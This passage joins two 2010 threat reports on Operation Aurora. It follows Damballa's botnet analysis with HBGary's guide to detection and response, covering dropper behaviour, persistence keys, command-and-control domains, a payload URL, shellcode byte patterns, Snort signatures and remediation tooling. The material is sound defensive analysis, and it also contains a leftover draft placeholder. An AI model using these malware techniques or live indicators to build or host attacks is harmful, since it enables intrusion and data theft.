HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run The rest of the components must also be downloaded and executed for them to be active. They are placed in the same folder as the first dropped file. These components create exact copies of themselves with names varying from: debug.exe mqbxt.exe msinits.exe win16.exe winlogon.exe lsass.exe drweb.exe taskmgr.exe win32.exe EXE The component posing as Microsoft Antispyware Services VXD The main dropper downloads and installs ntconf32.vxd, ntsys32.vxd, msimsg32.vxd SYS The main dropper downloads and installs msconfig32.sys Once the dropper has executed, it can easily bypass UAC since it is given explicit permission by the user, who thought the installation was a real AV product. The first thing the dropper does is to connect to its malware server domain to download its components. The VXD components are often connected to malware families that have keylogging and spyware behavior. They are also found in some IRC bots. The SYS Component is related to the publicly known and notoriously popular Aurora variant tied to the Google attack. The EXE component disguises itself as Microsoft Antispyware Services. It runs on Startup using two basic registry keys: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVers ion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ This screen capture shows the dropper attempting to connect to Amazon EC2. Page 20 The Command Structure of the Aurora Botnet These components are hidden from the user by hiding the folder where they are dropped and changing the attributes of the dropped files to hidden. To survive reboot, these components also are set to autostart using the same technique as the main dropped file. A DLL file is also dropped in C:\Windows\System32 with a random filename. Aside from registering (regsvr32.exe) the dropped DLL file to make it active, the malware dropper also modifies the registry to see it as a Browser Helper Object (BHO). It also sets up the DLL to autostart every boot up by using SharedTaskScheduler: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ SharedTaskScheduler This process paves the way for tracking cookies to be downloaded for ads to be served to the compromised host. This DLL is not hidden unlike the other components. After setting up all the dropped files, the main dropper protects the dropped files by manipulating the settings of Windows Explorer and Internet Explorer. See Protection Mechanism section for more details. Once all of these malware installation tasks are completed by the main dropper, the main dropper activates a batch file to unload itself from memory and deletes both the dropper and the batch file. The installed malware set is now all active and ready to communicate with CnC. Page 21 This screen capture shows a memory string dump that reveals the CnC sought by the EXE malware component. The Command Structure of the Aurora Botnet This screen capture shows a memory string dump that reveals the CnC sought by the EXE malware component Network Behavior Malware Server Domains The malware uses domains for two purposes: a malware server domain that hosts the dropped executables and a CnC connection to listen for additional commands. mcsmc.org micronetsys.org mnprfix.cn Page 22 The malware uses domains for two purposes: malware server domain that hosts the dropped executables and a CnC connection to listen for additional commands. This malware uses Amazon s EC2 services to serve its malware components. ec2-79-125-21-42.eu-west-1.compute.amazonaws.com ip-173-201-21-161.ip.secureserver.net inekoncuba.inekon.co.cu The Command Structure of the Aurora Botnet Domains filoups.info miecros.info The dropped samples do not listen to the same CnC most of the time. Each listens to a different CnC using a different port. Protection Mechanism The main dropper also utilizes Malware Self Preservation doing the following before it self-destructs: google.homeunix.com yahoo.blogdns.net voanews.ath.cx ymail.ath.cx None observed. Hides the location of the malware dropped files by setting the location folder as hidden and the dropped files themselves as hidden. Disables Folder Options in Windows Explorer Disables Show hidden files and folders in Windows Explorer Hides Internet Explorer s Menu Bar and Toolbar Disables System Restore Disables Registry editing AV Evasion Techniques No two dropped files are the same. The malware uses GetTickCount to generate random keys to randomize the hex structure of dropped files. None observed. One dropped file (273a51aada271e5a4a91321a3126c767) is packed using FSG v1.3.3. Intent Money generation through pop-up ads and Web site redirection Keylogging and spyware. Information Samples Collected/Discovered by Damballa ITW: Samples Collected/Discovered by Damballa ITW: 02677a0770268a20f7ef0d9bd7e8eef1 9803c22252a028b050f6257e7a67d4b7 69ef60094052321d91c0094efd832b92 6e245522d710ca1564e6873a3a0e82bd 0c091b4f6b23b450ccc3d37ccff6cdd6 994a379ff057724248d8435c9be45c1f b5b7146b07b0a0804b36b8056f316722 65510cda14bcefd2419eb1262a6d6829 a4a63756c39e345e31f1e8e698ea03a6 2794cacb3f177f340dee0aa2a71bdf1c 2f6c8d68392839cb4615c455cd25fc9c 20ddc972f71c8e584ed2c43254eb811b 1326879b25dd0d7452d7a4b674165a5a (*) denotes that no Rich signature present in the file (^) encrypted Page 23 The Command Structure of the Aurora Botnet 01b9c2c916e6d9a82bfc5912348a231f 0b4872a4f20760739b0007c6b2dc08bd 253f59417c6c784d6c0e5565736d1815 273a51aada271e5a4a91321a3126c767*^ 325566e0871ac3d4fccfbb0b4efd8d07 38ee6476ffe7473707520ef7f5ed5ecb 62686fd8a1c24abfb7a621e5629ce4ab 69ef60094052321d91c0094efd832b92 6e245522d710ca1564e6873a3a0e82bd 73a88fa854e766d5d3e712db8291bcc8 863a096685354b2730ad9dfd7e91e942 b8a177d99854ccc71e94a4a6645e85e7 d112a2ed6c675158295acb4824b481d8 feb88ea662de113dcafbe45bdece82fc (*) denotes that no Rich signature present in the file (^) encrypted Malware Diagram Page 24 The Command Structure of the Aurora Botnet Malware Summary of Findings and Analysis The predecessor Aurora malware comes from two different families. The newer family came immediately 2 months after the older family, and there was no overlap in their prevalence. For the older family, there was neither an observable protection mechanism nor an AV evasion technique. It was simply a dropper for keylogger files. The newer family has some protection mechanisms and AV evasion techniques. However, it lacks the sophistication found in other botnet malware families. Below is a summary of the findings of the two malware families that were analyzed. Common characteristics: Served through fake AV hosting Web sites (no longer available) Common autostart techniques Common older stealth techniques Multiple malware server domains to improve resiliency Droppers and dropped files (EXE and DLLs) were compiled using Microsoft compilers Differences: 1. Main malware component: a. November 2009 Family uses DLL file as one of its components b. August 2009 Family uses VXD and SYS files 2. Main function: a. November 2009 Family pop-up ads b. August 2009 Family Suspected keylogger (actual files are no longer available for analysis) 3. Protection Mechanism: a. November 2009 Family uses basic protection mechanisms to hide itself b. August 2009 Family none observed Comparing them to Trojan.Hydraq: 1. Code obfuscation Trojan.Hydraq uses spaghetti code in which program elements are separated into small chunks and connected via jump instructions. This technique complicates following the code, and is similar to the tactics employed in old PE viruses that write to small spaces in the host and connect themselves through jump instructions. November 2009 Family Does not use any code obfuscation. One dropped file is actually packed using FSG v1.33. August 2009 Family None observed. 2. Autostart Technique Trojan.Hydraq uses Svchost process in Windows by adding its service name in netsvcs When Windows starts, it will load the service into memory. November 2009 Family Uses common autostart technique using the key. Page 25 The Command Structure of the Aurora Botnet August 2009 Family Uses common autostart technique using the key. 3. Intent / Payload Trojan.Hydraq Information gathering November 2009 Family Pops up ads and Web site redirector August 2009 Family Information gathering Malware Significance Basing on the profile of the two malware families that were analyzed, they are obviously different from each other. The key thing they have in common is that the CnC they utilize are publicly associated with the Aurora botnet. The botnet controllers preyed on the fear of users that their system is infected with malware. This method saves the botnet controllers from the technical complexity of bypassing Windows UAC by using the weakest link in host security which is the user. The misled user typically clicks OK to everything, bypassing UAC and giving the malware dropper explicit permission to execute. Neither of the malware predecessor families exhibit the sophistication found in newer malware. Some of the evasion techniques are almost a decade old. Both families use two sets of domains: one for serving malware and the other for CnC. The droppers and dropped files were compiled using Microsoft Compilers. This is evidenced by the presence of the string Rich before the PE header. This watermark is undocumented, meaning there is no mention of this watermark from Microsoft references but they are present in binaries compiled using Microsoft Compilers. Knowing the compiler of choice might help investigators narrow down the individuals or group of individuals responsible for the code. The simplicity and relative obsolescence of the early versions of the Aurora malware suggest that these malware families were created or written by an individual or group of individuals new to the production of commercial grade malware. Based solely on these families of malwares, it also appears that different individuals or group of individuals created the code: The only association the different families have with each other is that they used CnCs associated with Operation Aurora, and they were distributed via similar means. That said, it is possible that two different groups purchased the services of the same crimeware group (probably the same people behind Operation Aurora) to distribute and manage their malware family. Or the crimeware group rented out different variants of the same malware to different groups with different intentions. Price may also be a factor. The less resilient the malware family is, the cheaper it is to purchase or rent. The intent of each malware family is different. There is no natural progression seen between the two families. Usually malware writers evolve in both technology and protection of their creation but these two families did not show any related evolution. The malware families appear to exist independently, and then become superseded by Trojan.Hydraq. Piecing it Together Damballa analyzed network DNS information from a number of distinct and complementary sources ranging from global monitoring systems, enterprise monitoring sensors, passive DNS resolution data Page 26 The Command Structure of the Aurora Botnet and other DNS streams for this report. At the same time, Damballa also analyzed the malware commonly associated with the Aurora attacks disclosed by Google in January. The result has been a definite correlation between key CnC channels with other malware families that are associated with the criminal operators behind the Aurora botnet. Based upon our analysis of this attack and the surrounding evidence currently available, we classify the attacks against Google and the other previously identified victim organizations as being typical of current botnet criminal practices. The attack is most notable not for its advanced use of an Internet Explorer 6 Zero-Day exploit, but rather for its unsophisticated design and a pedigree that points to a fast-learning but nevertheless amateur criminal botnet team. DDNS Findings Summary Based upon Damballas investigation of DDNS data, the key findings are as follows: 1. The botnet has a simple command topology and makes extensive use of DDNS CnC techniques. The construction of the botnet would be classed as old-school , and is rarely used by professional botnet criminal operators any more. However, such reliance upon DDNS CnC is commonly associated with new and amateur botnet operators 2. There were several CnC domains were identified based upon key characteristics of the registration and management of the previously publicly disclosed CnC domains. 3. The major pattern of attacks in mid-December appear to have their origin in July 2009 in mainland China. This likely corresponds to early testing of the botnet CnC. 4. Some of the infections appeared to start within Google s network. Some of apparent botnet the traffic is not consistent with an IE6/WinXP infection and cannot be easily explained. 5. The attackers had access to large numbers of CnC hosts in geographically diverse hosting colocations certainly a high number for a botnet. Further, the botnet used over a dozen domains in diverse DDNS networks for CnC. 6. Only the US victims were compelled to perform MX queries, an event that would typically indicate attempted document exfiltration via email services. 7. Some of the botnets focused on victims outside of Google, suggesting that each domain might have been dedicated to a distinct class or vertical of victims. 8. A review of the TTL period suggests that botmasters de-registered their domains around December 18, 2009. Passive DNS Data Summary Based upon analysis of DNS resolution data gathered through a global network of passive DNS monitoring sensors, the key findings are as follows: 1. Cumulative volume of CnC domain name resolutions provides adequate sampling to identify the initialization and growth phases of the Aurora botnet, which also reveals active operation of the CnC channels dating back to June 14th 2009. 2. The victim s computers connected to, or were part of, 64 different networks, based upon Autonomous Systems (AS) breakdown of Internet netblocks which could represent the upper bound of organizations that may have been breached in the larger Aurora attack. Some organizations (such as Google) own and manage several AS networks. Some of the other AS networks were associated with public Internet Service Providers, which may encompass multiple small and medium businesses. Page 27 The Command Structure of the Aurora Botnet 3. The various CnC domains used by the criminal botnet operators peaked at different times with different rates of lookup by victim systems. These observations correspond to different campaigns run in parallel by different botnet operators and represent the widely publicized attacks that appeared to make use of the Internet Explorer 6 Zero-Day exploit. It is a common tactic by botnet operators to run multiple campaigns at the same time, using different infection vectors (e.g. drive-by downloads, FakeAV, USB infections, etc.) over extended periods of time. This strategy is very consistent with APT campaign methodologies. 4. The vast majority of victim systems appear to have been based in the United States. 5. It is possible to identify the various CnC testing, deployment, management and shutdown phases of the Aurora botnet CnC channels. Some of the CnC domains appear to have been dormant for a period of time after they had infected number victim systems. This type of activity can sometimes be associated with an update to the botnet malware or if the criminal operator sells/trades a segment of the botnet to another criminal operator. Malware Analysis Summary Damballa has an array of sources for obtaining new and Zero-Day malware that range from commercial security sharing programs and spam traps to samples gathered from within its enterprise customers networks. By automatically analyzing tens-of-thousands of new and unique samples each day and extracting their CnC behaviors, Damballa can cluster these malware variants with different botnets. Based upon our analysis of malware samples that relied upon the Aurora CnC domains, our key findings are as follows: 1. The botnet operators behind the Google Aurora attacks deployed other malware families prior to the Trojan.Hydraq release. Some of these releases overlapped with each other. 2. Two additional families of malware (and their evolutionary variants) were identified as Fake AV Alert / Scareware Login Software 2009 and Fake Microsoft Antispyware Service both of which were deployed using fake antivirus infection messages to socially engineering the victim into installing the malicious botnet agents. 3. By tracking the evolution of the malware, Damballa was able to identify additional botnet CnC domains used by the criminal operators and establish a timeline of malware associations going back to May 2nd 2009, based upon when a malware sample was captured within an enterprise customer network. 4. Over the time period of this study, the botnet operators improved upon the malware they were deploying. The relative sophistication and armoring of the malware families grow over the months the operators were deploying it, and when they transitioned to entirely new malware families. 5. The major malware families associated with the Aurora botnet attacks are distinct and are unlikely to have been developed by the same malware engineer. This finding is typical of the botnets that Damballa observes targeting enterprise networks. Relatively few botnet criminal operators develop and maintain their own malware. Instead, they typically rely upon thirdparty contractors or off-the-shelf malware construction kits. As such, core features and functionality changes can occur overnight, but the CnC transitions slowly as the botnet operator ensures that backup CnC domains remain in operation until the victim malware updates (or migration) is complete. Page 28 The Command Structure of the Aurora Botnet Conclusions Damballa s findings concerning Operation Aurora can be summarized by the following: At the time the attack was first noticed by Google in December 2009, systems within at least 7 countries had already been affected. By the time Google made the public disclosure of the attack on January 12 2010, systems in over 22 countries had been affected and were attempting to contact the CnC servers - the top five countries being the United States, China, Germany, Taiwan and the United Kingdom. The Trojan.Hydraq malware, which has been previously identified as the primary malware used by the attackers, is actually a later staging of a series of malware used in the attacks which consisted of at least three different malware families . Two additional families of malware (and their evolutionary variants) have been identified, and they were deployed using fake antivirus infection messages tricking the victim into installing the malicious botnet agents. The attacks that eventually targeted Google can be traced back to July 2009, with what appears to be the first testing of the botnet by its criminal operators. The analysis identifies the various CnC testing, deployment, management and shutdown phases of the botnet CnC channels. The botnets used dozens of domains in diverse Dynamic DNS networks for CnC. Some of the botnets focused on victims outside of Google, suggesting that each set of domains might have been dedicated to a distinct class or vertical of victims. Some of the CnC domains appear to have been dormant for a period of time after they had infected a number of victim systems. This can occur after the botnet operator has updated the botnet malware with new (more powerful) variants or when the criminal operator sells/trades a segment of the botnet to another criminal operator. There were network artifacts that suggest that the botnet malware operating with the US-based victims networks made use of email services to extract the stolen data from the breached organizations. There is evidence that there were multiple criminal operators involved, and that the botnet operators were of an amateur level. The botnet has a simple command topology and makes extensive use of Dynamic DNS CnC techniques. The construction of the botnet would be classed old-school , and is rarely used by professional botnet criminal operators today Damballa was able to discover these details on Operation Aurora because of a different approach to researching and neutralizing botnets and other remote-controlled crimeware threats. Command-andControl not malware or access point for the attack vector is the essential element for a successful botnet attack. Everything else about a botnet may change, but CnC must remain in place for the botnet to act in any sort of cohesive manner. Damballa is the only company that monitors detailed criminal CnC activity within enterprise networks and uses this focus to detect and sever malicious CnC communications. As a result, Damballa has been collecting CnC data for over 4 years, utilizing a globe-spanning array of network sensors within large enterprise customers and Internet Service Provider (ISP) customers. It is this deep visibility into Operation Aurora Cnc that revealed the details in this report. Although the methods used in Operation Aurora are amateurish and commonplace, the results were just as damaging as a sophisticated botnet because the threat was not quickly identified and neutralized. Aurora s success proves that any breach by a botnet agent, regardless of the quality of the attack vector, is a dangerous security exposure. The result is always hidden and criminal remote Page 29 The Command Structure of the Aurora Botnet control of enterprise assets, with all of the legal, financial and reputational liabilities that accompany such a serious security lapse. Additional Reading How can I tell if I was infected by aurora , McAfee, 2010, http://www.mcafee.com/us/local_content/reports/how_can_u_tell.pdf Extracting CnC from Malware: The Role of Malware Sample Analysis in Botnet Detection , Damballa, 2009, http://www.damballa.com/downloads/r_pubs/WP_Malware_Samples_Botnet_Detection.pdf Serial Variant Evasion Tactics: Techniques Used to Automatically Bypass Antivirus Technologies , Damballa, 2009, http://www.damballa.com/downloads/r_pubs/WP_SerialVariantEvasionTactics.pdf Botnet Communication Topologies: Understanding the intricacies of botnet Command-and-Control Damballa, 2009, http://www.damballa.com/downloads/r_pubs/WP_Botnet_Communications_Primer.pdf The Botnet vs. Malware Relationship: The One-to-One Botnet Myth , Damballa, 2009, http://www.damballa.com/downloads/d_pubs/WP_Botnet_vs_Malware.pdf MTrends: The Advanced Persistent Threat , Mandiant, 2010 Google china cyberattack part of vast espionage campaign, experts say , Washington Post, 2010, http://www.washingtonpost.com/wp-dyn/content/article/2010/01/13/AR2010011300359.html Trojan.hydraq , Symantec, 2010, http://www.symantec.com/security_response/writeup.jsp?docid=2010011114-1830-99 Contributors Manos Antonakakis Christopher Elisan David Dagon Gunter Ollmann Erik Wu Page 30 The Command Structure of the Aurora Botnet About Damballa, Inc. Damballa stops crimeware threats that exploit enterprise networks for illegal activity by finding and disrupting the hidden communications channels used to control internal servers and hosts. This concentrated focus on malicious remote control delivers fast, accurate insight into advanced network threats, including termination of criminal activity and remediation guidance. Damballa s technology integrates easily with existing infrastructure for cost-effective protection against dangerous security breaches that evade other solutions. The result is smarter, more flexible network security that stops current and future threats, prevents fiduciary breaches and enhances regulatory compliance. Damballa s customers include major banks, Internet service providers, government agencies, educational organizations, manufacturers and other organizations concerned with taking back the command-and-control of their networks. Privately held, Damballa is headquartered in Atlanta, GA. Copyright 2010, Damballa, Inc. All rights reserved worldwide. This page contains the most current trademarks for Damballa, Inc., which include Damballa and the Damballa logo. The absence of a name or logo on this page does not constitute a waiver of any and all intellectual property rights that Damballa, Inc. has established in any of its products, services, names, or logos. All other marks are the property of their respective owners in their corresponding jurisdictions, and are used here in an editorial context, without intent of infringement. Page 31 O PERATION A URORA D E T E C T , D I A G N OS E , R E S P ON D Jan 27, 2010 Cyber Espionage is a critical issue. Over 80% of intellectual property is stored online digitally. The computing infrastructure in a typical Enterprise is more vulnerable to attack than ever before. Current security solutions are proving ineffective at stopping cyber espionage. Malware is the single greatest problem in computer security today. Yet, malware represents only the tip of the spear. The true threat is the human being who is operating the malware. This human, or the organization he represents, is the true threat that is targeting information for the purposes of financial gain, theft of state secrets, and theft of intellectual property. True threat intelligence requires reaching beyond malware infections to identify the individuals, country of origin, and intent of the attacker. T HREAT S UMMARY The Aurora malware operation was identified recently and made public by Google and McAfeei. This malware operation has been associated with intellectual property theft including source code and technical diagrams (CAD, oil exploration bid-data, etc). Companies hit have been publically speculated, including Google, Adobe, Yahoo, Symantec, Juniper Systems, Rackspace, Northrop Grumman, ExxonMobil, ConocoPhillips, and Dow Chemical. The malware package used with Aurora is mature and been in development since at least 2006. The Aurora operation is characterized by a remotely operated backdoor program that persists on a Windows computer. This backdoor program has several capabilities that are outline below. KEY FINDINGS Evidence collected around the malware operation suggest that Operation Aurora is simply an example of highly effective malware penetration. There is not significant evidence to attribute the operation directly to the Chinese Government. However, a key actor has been identified in association with Operation Aurora. Aspect Description Target The operation is targeting intellectual property with no specific industry focus. This is an example of "not knowing what they are looking for until they find it". It is highly probable that the malware was developed in native Chinese language, and the operation control system is designed for Chinese users, indicating the entire operation is Chinese. This does not, however, mean the Chinese Government is using the system. Forensic tool-marks in the CRC algorithm can be traced to Chinese origin. That, combined with domain registration information, leads to at least one potential actor, Peng Yongii. The malware has been in development since at least 2006. It has been updated several times. Operators of the malware appear to use certain domains for C&C control. Dynamic DNS is a key feature of the operation, with many known C&C servers operating from domains registered through Peng Yong's 3322.org service. The primary intent is the theft of intellectual property. Communication is encrypted over HTTP, port 443, obfuscated with a weak encryption scheme. The C&C servers tend to operate from domains hosted on dynamic DNS. Origin Developers Operators Intent Coms ATTRIBUTION At this time, there is very little available in terms of attribution. A CRC algorithm tends to indicate the malware package is of Chinese origin, and many attacks are sourced out of a service called 3322.org - a small company operating out of Changzhou. The owner is Peng Yong, a Mandarin speaker who may have some programming background with such algorithms. His dynamic DNS service hosts over 1 million domain names. Over the last year, HBGary has analyzed thousands of distinct malware samples that communicate with 3322.org. While Peng Yong is clearly tolerant of cyber crime operating through his domain services, this does not indicate he has any direct involvement with Aurora. Toolmark Description Embedded Resource Language Code CRC Algorithm Table of Constants DNS registration services UNITED STATES Embedded systems / Chinese publicationiii Peng Yong, others D ETECT This section of the report details how you can detect Operation Aurora in your Enterprise. The exploit and payload vehicle consists of the following components: Javascript based exploit vector, known to exploit IE 6 Shellcode component, embedded in the Javascript Secondary payload server that delivers a dropper The dropper itself, which only used once and then deleted The backdoor program which is decompressed from the dropper JA VAS C RI PT AND SH ELLC ODE The JavaScript based attack vector associated with Operation Aurora was published in the public domain in early January 2010. Microsoft details the vulnerability in Security Bulletin MS10-002. Internet Explorer 5.01, Internet Explorer 6, Internet Explorer 6 Service Pack 1, Internet Explorer 7, and Internet Explorer 8 (except Internet Explorer 6 for supported editions of Windows Server 2003) are affected. Exploit code analyzed by HBGary reveals that only Internet Explorer 6 was targeted during Operation Aurora. This vulnerability can be leveraged by attackers of varying skill levels due to the public availability of the Metasploit module ie_aurora.rb . The exploit code used by the original attackers was quickly improved and added to Metasploit thus greatly expanding the potential number of attackers and reliability of code. The JavaScript performs a heap spray attack and injects the embedded shellcode described below. The JavaScript exploits the vulnerability in Internet Explorer by copying, releasing, and then referencing a Document Object Model (DOM) element. Javascript Exploit Code JavaScript Artifacts Initial encrypted dropper download. Decrypted dropper. Pattern Deleted file. C:\%appdata%\a.exe Deleted file. C:\%appdata\b.exe JavaScript present in Internet Explorer memory space. Download URL present in internet history during memory analysis. Other domains associated with Aurora. http://demo1.ftpaccess.cc/demo/ad.jpg sl1.homelinux.org 360.homeunix.com ftp2.homeunix.com update.ourhobby.com blog1.servebeer.com The shellcode exists as a Unicode escaped variable (sc) in the malicious JavaScript listed below. Upon successful exploitation of Internet Explorer, the shellcode will download an obfuscated second stage executable from http://demo1.ftpaccess.cc/demo/ad.jpg which is the dropper. Note: these files are specific to the sample we analyzed at HBGary, Inc. The attackers must use a second stage download mechanism to achieve full system access due to memory constraints. It is unlikely that the final payload could be delivered through the original exploit given these conditions. The dropper is XOR encrypted with a 0x95 key. The shellcode copies this encrypted binary to the user s AppData directory as a.exe . The shellcode then decrypts a.exe and moves it to b.exe in the same directory. Then b.exe executed. The following actionable intelligence can be used to identify exploit remnants in the heap space of Internet Explorer post exploitation attempt. These patterns can be searched for when doing memory analysis of a victim system. Shellcode Artifacts Pattern Self-decrypting code using a constant XOR value. 80 34 0B D8 80 34 0B D8 Kernel32.dll searching code. 64 A1 30 00 00 00 8B 40 0C 8B 70 1C Push Urlmon string to stack using two push statements. 68 6F 6E 00 00 68 75 72 6C 6D The following SNORT rules have been released by the Emerging Threats project to detected the final payload command and control communications. Network Detection Signatures alert tcp $HOME_NET any -> $EXTERNAL_NET 443 (msg:"ET TROJAN Aurora Backdoor (C&C) client connection to CnC"; flow:established,to_server; content:"|ff ff ff ff ff ff 00 00 fe ff ff ff ff ff ff ff ff ff 88 ff|"; depth:20; flowbits:set,ET.aurora.init; classtype:trojan-activity; reference:url,www.trustedsource.org/blog/373/An-Insightinto-the-Aurora-Communication-Protocol; reference:url,doc.emergingthreats.net/2010695; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/VIRUS/TROJAN_Aurora; sid:2010695; rev:2;) alert tcp $EXTERNAL_NET 443 -> $HOME_NET any (msg:"ET TROJAN Aurora Backdoor (C&C) connection CnC response"; flowbits:isset,ET.aurora.init; flow:established,from_server; content:"|cc cc cc cc cd cc cc cc cd cc cc cc cc cc cc cc|"; depth:16; classtype:trojan-activity; reference:url,www.trustedsource.org/blog/373/An-Insight-into-theAurora-Communication-Protocol; reference:url,doc.emergingthreats.net/2010696; reference:url,www.emergingthreats.net/cgi-bin/cvsweb.cgi/sigs/VIRUS/TROJAN_Aurora; sid:2010696; rev:2;) D RO PPE R The initial dropper is merely a detonation package that decompresses an embedded DLL into the Windows system32 directory and loads it as a service. The initial dropper is likely to be packed (UPX, etc). The dropper has an embedded DLL that is decompressed to the windows system32 directory. This DLL will be named to resemble existing services (rasmon.dll, etc). In order to evade forensics, the file-time of the dropped DLL will be modified to match that of an existing system DLL (user32.dll, etc). The dropped DLL is loaded into its own svchost.exe process. Several registry keys are created and then deleted as part of this process. Finally, the dropper deletes itself from the system by using a dissolving batch file (DFS.BAT, etc). Actionable Intelligence Pattern Service Key & Value Note: deleted after drop Path to backdoor Note: deleted after stage 1 Path to backdoor Note: persistent Potential variation SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost\ Value: SysIns Data: Ups??? (??? are three random chars) SYSTEM\CurrentControlSet\Services\Ups???\Parameters\ Value: ServiceDLL Data: (full path to the backdoor) SYSTEM\CurrentControlSet\Services\RaS???\Parameters\ Value: ServiceDLL Data: (full path to the backdoor) SYSTEM\CurrentControlSet\Services\RaS???\Parameters\ Value: ServiceDLL Data: %temp%\c_####.nls (where #### is a number) SYSTEM\CurrentControlSet\Services\RaS???\Parameters\ Value: ServiceDLL Data: %temp%\c_1758.nls Potential variation PAYLOAD The payload uses two-stage installation. During stage one, the dropper will install GLANCE UNDER THE HOOD the payload as a service running under the name Ups??? (where ??? are three buffer after phase one XOR: random characters). Once executing, the payload will immediately delete the first mJ2bhcPExs7excLThcjExqurnauYq service and enter stage-two. During stage-two, the payload will register a new, buffer after base64 decoding: second service under the name RaS??? (where ??? are three random characters). This new service will point to the same backdoor DLL, no new files are involved. Note: the three character prefixes Ups and RaS can easily be modified by the attacker. Once the new service is registered, the payload will access an embedded resource that is encrypted. The decryption goes through several phases. The encrypted data block contains the DNS name for the command and control server (homeunix.com, etc). This data block is configurable before the malware is deployed. The data block length is hard-coded (0x150 or 336 bytes). During phase one, this data block is fed through a simple XOR (0x99), resulting in an ASCII-string. Next, the resulting ASCII-string is fed into a base64 decoding function, producing a binary string. Finally, the resulting base64 decoded binary string is fed through another XOR (0xAB), resulting in clear-text. The three primary encryption loops are colored and marked in Figure 1. The resulting clear-text buffer contains several fields in both ASCII and UNICODE, including the C&C server address. Actionable Intelligence Pattern C&C Server DNS *.homeunix.com (where * is any subdomain) *.homelinux.com *.ourhobby.com *.3322.org *.2288.org *.8866.org *.ath.cx *.33iqst.com *.dyndns.org *.linode.com *.ftpaccess.cc *.filoups.info *.blogsite.org The payload will create additional registry keys. Actionable Intelligence Pattern Additional Key HKLM\Software\Sun\1.1.2\IsoTp Additional Key HKLM\Software\Sun\1.1.2\AppleTlk Other potential dropped files, as reported by McAfee: Actionable Intelligence Pattern Additional File securmon.dll Additional File AppMgmt.dll Additional File A0029670.dll (A00#####.dll) Additional File msconfig32.sys Additional File VedioDriver.dll Additional File acelpvc.dll Additional File wuauclt.exe Additional File jucheck.exe Additional File AdobeUpdateManager.exe Additional File zf32.dll COM M AND AND CONTRO L The payload communicates with its command and control server over port 443. The source port is randomly selected. While outbound traffic appears to be HTTPS, the actual traffic uses a weak custom encryption scheme. The command and control packets have a very specific formativ. command parameters 0x00000001 payload len payload The payload section is encrypted with a key selected by using GetTickCount. This means each infected node has its own key. The key is embedded in the header of the packet, and is easily recovered. D IAGNOSE HOW THE MALWARE WORKS The primary control logic can be found in the module registered under the service key (rasmon.dll, etc.). This module has been written in c and includes several specific methods and encodings that provide forensic track-ability. The above screenshot illustrates a REcon(tm) trace on the malware dropper and subsequent service creation. Location A. represents the dropper program, which unpacks itself and decompresses a file to the system32 directory. Point B. represents the initial svchost.exe startup, which is loading the malware payload. Location C. is the actual execution of the malware service, which remains persistent. At points E. and F. you can see the malware checking in with the command and control server. Finally, location D. represents the dissolvable batch file which deletes the initial dropper and then itself. F IGURE 1 - BASE 64 AND XOR ENCRYPTION SCHEME CAPABILITY The malware has generic and flexible capabilities. There are distinct command handlers in the malware that allow files to be stolen and remote commands to be executed. The command handler is illustrated in Figure 2. At location A. the command number is checked. At locations marked B. are each individual command handler, as controlled by the C&C server and command number in the C&C packet. Location C. is where the result of each command is sent back to the C&C server. RECENT GLOBAL ACTIVITY The concentration of the java-script exploit used to deliver Aurora is rising. The primary source countries are China, Korea, India, and Polandv. F IGURE 2 - C&C C OMMAND P ARSER TODO: INSERT DATA FEED STATS HERE. R ESPOND Several Enterprise products have the capability to scan for and potentially remove the Aurora malware. Detection of the malware is covered in detail, from multiple aspects, in the Detect section above. When using a Digital DNA(tm) capable platform such as McAfee ePO, Guidance EnCase Enterprise, or Verdasys Digital Guardian, you can search the Enterprise for the following Digital DNA sequence (recommend a tight match, 90% or higher). Digital DNA Sequence for Aurora Malware 01 B4 EE 00 AE DA 00 8C 16 00 89 22 00 46 73 00 C6 49 00 0B AE 01 E7 9F 04 05 81 01 0E DF 01 79 D8 00 25 6A 00 15 49 00 47 22 00 4B 67 0F 2D CC 01 29 67 01 35 99 To thwart command and control and prevent data loss, known C&C domains should be blocked at the egress firewall. The domains listed in the Detect section represent a significant set of those currently known to be operating. IDS signatures similar to the one illustrated in the Detect section should be used to detect inbound exploit attempts, and machines accepting this data should be scanned for potential infections. Many A/V products now contain signatures for the Aurora exploit and will be effective in detection and removal. However, the attackers that represent the threat will not be deterred, and variants of the attack are nearly assured. Factors Description C&C protocol If a variant is developed, it will very likely use the same C&C protocol, but may change the header of the packet and the constants used for connection setup. This will evade IDS / Firewall rules designed to detect the current scheme. It is unlikely the attackers will change the encryption setup, however. The method used to install the service is highly effective. Although the filenames will likely change, the actual method will likely remain. Installation and Deployment INOCU LATION SHOT HBGary has prepared an inoculation shot for this malware. The inoculation shot is a small, signed binary that will allow you to scan for, and optionally remove, this malware from your Enterprise network. Remediation and Prevention with the HBGary Inoculation Shot The AuroraInnoculation.exe is a simple WMI-based utility for scanning windows-based machines for the presence of the Aurora APT malware package. The aurora innoculator also has the option of automatically removing a discovered infection and rebooting the box automatically. When the aurora innoculator is executed it will query the user for authentication credentials. Optionally the user can just hit "cancel" to use the currently logged on USER's authentication token. Some sample usages are listed below. To scan a single machine: AuroraInnoculation.exe -scan 192.168.0.1 or AuroraInnoculation.exe -scan MYBOXNAME To scan multiple machines: AuroraInnoculation.exe -range 192.168.0.1 192.168.0.254 To automatically attempt a clean operation: AuroraInnoculation.exe -range 192.168.0.1 192.168.0.254 -clean To scan a list of machines in a .txt file: AuroraInnoculation.exe -list targets.txt VERDASYS DIGITAL GUARDIAN DG Agents can be used to remediate and prevent further infections within the enterprise without waiting for the development of an AV signature. In this case: Remediation and Prevention with Digital Guardian A DGUpdate package can be deployed to all agents to perform the file and registry key delete operations to inactivate and remove the malware. Several control rules can be added to prevent the Aurora malware infection specifically and to generically block other infection vectors: Prevent network operations on remote port 443 if the current process image was launched from %%APPDATA% and registry keys exist in HKLM\Software\Sun\1.1.2\IsoTp or HKLM\Software\Sun\1.1.2\AppleTlk or SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost\SysIns Prevent iexplore.exe from writing files with .exe extensions Prevent files with .exe extensions from being written, copied, moved or renamed into the root of %APPDATA% Prevent files with .exe extensions from launching in the root of %APPDATA% Prevent network operations to demo1.ftpaccess.cc Prevent executables launched from the root of %APPDATA% from performing file open on kernel32.dll 